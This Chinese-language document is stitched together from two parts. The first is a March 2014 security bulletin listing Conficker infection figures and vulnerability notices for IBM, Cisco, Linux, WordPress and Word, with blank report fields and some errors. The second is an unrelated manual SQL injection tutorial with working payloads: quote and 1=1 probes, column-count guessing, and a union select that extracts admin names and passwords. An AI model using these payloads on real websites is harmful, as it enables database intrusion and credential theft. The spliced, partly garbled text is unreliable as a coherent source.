网络信息安全简报（2014..03）

 

1)         10.10.2.180

 

2)         10.10.2.181

 

 

 

 

 

网络病毒主要针对一些防护比较薄弱，特别是访问量较大的网站通过网页挂马的方式进行传播。当存在安全漏洞的用户主机访问了这些被黑客挂马的网站后，会经过多级跳转暗中连接黑客最终“放马”的站点下载网络病毒。2014 年 3 月，趋势监测发现排名前十的活跃放马站点域名和活跃放马站点 IP 如下表所示。

 

2014 年 3 月，Trendmicro监测到全球互联网 1062 万余个主机IP 地址感染飞客蠕虫，按国家或地区分布感染数量排名前三位的分别是中国大陆、巴西、印度。

境内感染飞客蠕虫的主机 IP 为近 112万个，按地区分布感染数量排名前三位的分别是广东省、江苏省、浙江省。

1、IBM 产品安全漏洞

IBM Lotus Protector for Mail Security 是一项基于 IBM Proventia 网络邮件安全系统的防毒与反垃圾邮件解决方案。本周，上述产品被披露存在多个安全漏洞，攻击者可利用漏洞以 root 权限执行任意代码。

趋势 收录的相关漏洞包括：IBM Lotus Protector for Mail Security 存在未明任意代码执行漏洞。上述漏洞的综合评级均为“高危”。厂商已经发布了上述漏洞的修补程序。趋势 提醒用户尽快下载补丁更新，避免引发漏洞相关的网络安全事件。

 

 

2、Cisco 产品安全漏洞

Cisco IOS 是多数思科系统路由器和网络交换机上使用的互联网络操作系统。本周，上述产品被披露存在多个安全漏洞，攻击者可利用漏洞发起拒绝服务攻击。

趋势 收录的相关漏洞包括：Cisco IOS/IOS XE 特制 SIP 消息处理远程拒绝服务漏洞、Cisco IOS/IOS XE 特制 IPv6 数据包处理 I/O 远程拒绝服务漏洞、Cisco IOS Crafted IPv4 Traffic 处理远程拒绝服务漏洞、Cisco IOS TCP Traffic NAT 处理内存泄露远程拒绝服务漏洞、Cisco IOS DNS Traffic NAT 处理远程拒绝服务漏洞。上述漏洞的综合评级均为“高危”。厂商已经发布了上述漏洞的修补程序。趋势 提醒用户及时下载补丁更新，避免引发漏洞相关的网络安全事件。

 

 

3、Linux 产品安全漏洞

Linux kernel 是一款开源的操作系统。本周，上述产品被披露存在安全漏洞，攻击者可以利用漏洞获得敏感信息或发起拒绝服务攻击。

趋势 收录的相关漏洞包括：Linux Kernel 'get_rx_bufs()' 函数拒绝服务漏洞、Linux kernel skb_segment 函数内存错误引用漏洞、Linux Kernel 'rds_ib_laddr_check()'空指针引用漏洞、Linux Kernel 信息泄露漏洞。厂商已经发布了上述漏洞的修补程序。趋势 提醒用户尽快下载补丁更新，避免引发漏洞相关的网络安全事件。

 

4、Wordpress 产品安全漏洞 

WordPress 是一种使用 PHP 语言开发的博客平台，用户可以在支持 PHP 和 MySQL数据库的服务器上架设自己的网志。本周，该产品被披露存在漏洞，攻击者可利用漏洞操纵任意数据或执行任意代码。

趋势 收录的相关漏洞包括：WordPress WP-Filebase Download Manager 插件任意代码执行漏洞、WordPress 插件 Duplicate Post 'duplicate-post-admin.php'用户登录 cookie 值 SQL 注入漏洞、WordPress 插件 User Domain Whitelist 跨站脚本漏洞。除“WordPress 插件 User Domain Whitelist 跨站脚本漏洞”外，上述漏洞的综合评级均为“高危”。厂商已发布了上述漏洞的修补程序。趋势 提醒相关用户尽快下载补丁更新，避免引发漏洞相关的网络安全事件。

 

 

5、Microsoft Word RTF 文件解析错误代码执行漏洞

Microsoft Word 是微软公司的一个文字处理软件。本周，Microsoft Word 被披露存在一个综合评级为“高危”的 RTX 文件解析错误代码执行漏洞。攻击者可利用漏洞获得当前用户的权限。目前，互联网上已经出现了针对该漏洞的攻击代码，厂商尚未发布该漏洞的修补程序。

 

已查杀的病毒/恶意软件数：

 

已查杀的全部病毒、恶意软件摘要：

 

传染来源摘要：（N/A表示来自外网或无法识别）

 

被感染的目标（主机）摘要：

 

处理措拖结果摘要：

 

 

 

 

 

假设的目标网站 http://www.2cto.com /info.php?articleid=123(实际不可注入)

 

当articleid 变量取值为123 时，我们假设一下在服务器中会有怎样的代码运行?

 

1. SELECT * /* Select 函数读取信息*/

 

2. FROM infotable /* 从products 数据表中*/

 

3. WHERE id='123';/* false condition 满足条件时*/

 

/*XXXX*/是注释符号，当程序运行时，/**/和中间的部分计算机会自动忽略。

 

实际系统执行的代码是这样的：

 

1. select * from infotable where id = '123';

 

在这里，id 的取值是通过url 取值得来的“123”，那么如果我这样呢：

 

info.php?articleid=123'

 

后面多了一个单引号，那么比较一下系统原本执行的语句有什么变化：

 

1. select * from infotable where id = 123;

 

2. select * from infotable where id = 123';

 

最后多了一个引号，语法错误。

 

注：计算机编程得不到想要的结果，错误分两种，一种是语法错误，一种是逻辑错误。后面认真阅读你会慢慢明白区别开的，这也就是为什么判断是否为注入点的第一步要在网址后面加单引号的原因了(加单引号出错不能确定网址为注入点，只是判断的一个步骤而已），于是后面的1=1 和1=2 的目的也就清楚了。

 

1. select * from infotable where id = 123;

 

2. select * from infotable where id = 123 and 1 = 1;//事实上1 就是1，所以应该

 

返回正常页面

 

3. select * from infotable where id = 123 and 1 = 2;//事实上，计算机中1 永远也不等于2，发生逻辑错误，所以返回错误页面。手工注入通常会使用联合查询函数union 下面讲一下union 的用法。

 

union 注入的第一步通常是猜字段数。假设注入点是新闻页面，那么页面中执行的SQL 语句就是：

 

1. select title,date,author,news,comm from news where id = 12;

 

当你进行union 注入的时候，union 前面的语句和union 后面的语句，都是一个完整的SQL

 

语句，是可以单独执行的语句

 

但是，必须保证前后的字段数相同，例如上面这个语句

 

1. select title,date,author,news,comm from news where id = 12;

 

2. select title,date,author,news,comm from news where id = 12 union select

 

name,password,3,4,5 from admin;

 

3. //news 是新闻表段，admin 是管理员信息表段

 

4. //管理员信息表段明显没有union 前面news 表段里面包含的字段数多所以使用数字3 到5 替代，数字无固定格式，可以使1 2 和3，也可以是111111 和4435435或者干脆用null 空来代替。

 

所以，上面的注入语句在实际中就是这么构造：

 

1. info.php?id=12+union+select+name,password,3,4,5+from+admin

 

2. //SQL 注入中，加号用来代表空格的意思，因为有些浏览器会自动将空格转换成%20，

 

如果union 前面是5 个，而union 后面不是5 个，则会发生逻辑错误，显示错误页面。

 

由于程序员编写的程序我们并不知道他在数据库中设置了几个字段，所以通常我们都是先进行字段数的猜测，也就是：

 

1. info.php?id=12+union+select+1

 

2. info.php?id=12+union+select+1,2

 

3. info.php?id=12+union+select+1,2,3

 

4. info.php?id=12+union+select+1,2,3,4

 

5. info.php?id=12+union+select+1,2,3,4,5

 

6. //你也可以用order by 来猜，用法可以自己搜一下

 

一直这样猜到正确页面出来，没有了逻辑错误，也就表示字段数一致了。